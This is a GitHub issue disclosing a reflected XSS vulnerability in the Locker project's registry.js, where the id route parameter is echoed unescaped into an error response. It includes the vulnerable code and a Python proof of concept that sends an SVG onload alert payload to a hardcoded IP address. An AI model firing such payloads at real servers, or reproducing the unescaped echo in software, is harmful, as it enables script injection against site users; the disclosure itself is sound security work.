-
Notifications
You must be signed in to change notification settings - Fork 121
Open
Description
Summary
The id parameter from req.params.id is directly concatenated into the error response at line 552 (res.send(id + " failed verification :(", 500)) without any sanitization or encoding. The PoC confirms the XSS payload <SvG oNlOAD=alert("zast-xss")> is reflected verbatim in the response, allowing arbitrary JavaScript execution in a victim's browser.
Details
- SOURCE
⏺ Source Code Snippet (registry.js - authIsAwesome)
// source-code/Locker-master/Ops/registry.js#L545-L561
function authIsAwesome(req, res) {
var id = req.params.id;
var js = serviceManager.map(id);
if (js) return authRedir(js, req, res); // short circuit if already done
getPackage(id, function(err, pkg) {
if (err || !verifyPkg(pkg)) {
logger.error("package verification failed trying to auth " + id + ": ", err);
return res.send(id + " failed verification :(", 500);
}
exports.install(pkg, function(err) {
if (err) return res.send(err, 500);
var js = serviceManager.map(id);
if (!js) return res.send("failed to install :(", 500);
return authRedir(js, req, res);
});
});
}
- SINK
Sink Code Snippet (registry.js - getPackage callback)
// source-code/Locker-master/Ops/registry.js#L549-L560
getPackage(id, function(err, pkg) {
if (err || !verifyPkg(pkg)) {
logger.error("package verification failed trying to auth " + id + ": ", err);
return res.send(id + " failed verification :(", 500);
}
exports.install(pkg, function(err) {
if (err) return res.send(err, 500);
var js = serviceManager.map(id);
if (!js) return res.send("failed to install :(", 500);
return authRedir(js, req, res);
});
});
POC
import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
"""
Match an API endpoint pattern with a given path.
This function supports multiple path parameter syntaxes used by different web frameworks:
- Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
- Angle brackets: '/users/<int:id>' (Flask with converters)
- Colon syntax: '/users/:id' (Express, Koa, Sinatra)
- Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)
Note: This function performs structural matching only and doesn't validate param types or regex
constraints.
Args:
pattern (str): The endpoint pattern with parameter placeholders
path (str): The actual path to match
Returns:
bool: True if the path structurally matches the pattern, otherwise False
"""
pattern = pattern.strip() or '/'
path = path.strip() or '/'
if pattern == path:
return True
# Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
# Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
pattern = re.sub(r'\{[\w:()[\].\-\\+*]+}', r'[^/]+', pattern)
# Support for <param> and <type:param> syntax (Flask with converters)
pattern = re.sub(r'<[\w:()[\].\-\\+*]+>', r'[^/]+', pattern)
# Support for :param syntax (Express, Koa, Sinatra)
pattern = re.sub(r':[\w:()[\].\-\\+*]+', r'[^/]+', pattern)
# Add start and end anchors to ensure full match
pattern = f'^{pattern}$'
match = re.match(pattern, path)
if match:
return True
return False
class CustomSession(Session):
def request(
self,
method,
url,
params = None,
data = None,
headers = None,
cookies = None,
files = None,
auth = None,
timeout = None,
allow_redirects = True,
proxies = None,
hooks = None,
stream = None,
verify = None,
cert = None,
json = None,
):
if match_api_pattern('/auth/v3dm0s', urlparse(url).path):
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
else:
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
return super().request(
method=method,
url=url,
params=params,
data=data,
headers=headers,
cookies=cookies,
files=files,
auth=auth,
timeout=timeout,
allow_redirects=allow_redirects,
proxies=proxies,
hooks=hooks,
stream=stream,
verify=verify,
cert=cert,
json=json,
)
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests
# Define the target URL
target_url = "http://34.127.19.15:41341/auth/:id"
# Define the payload with the marker
payload = '<SvG oNlOAD=alert("zast-xss")>'
# Replace the placeholder with the actual payload
url = target_url.replace(":id", payload)
# Send the GET request
response = requests.get(url, verify=False, allow_redirects=False)
# Print the response status code and text
print(response.status_code)
print(response.text)
# ********************************** Poc End ***********************************
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels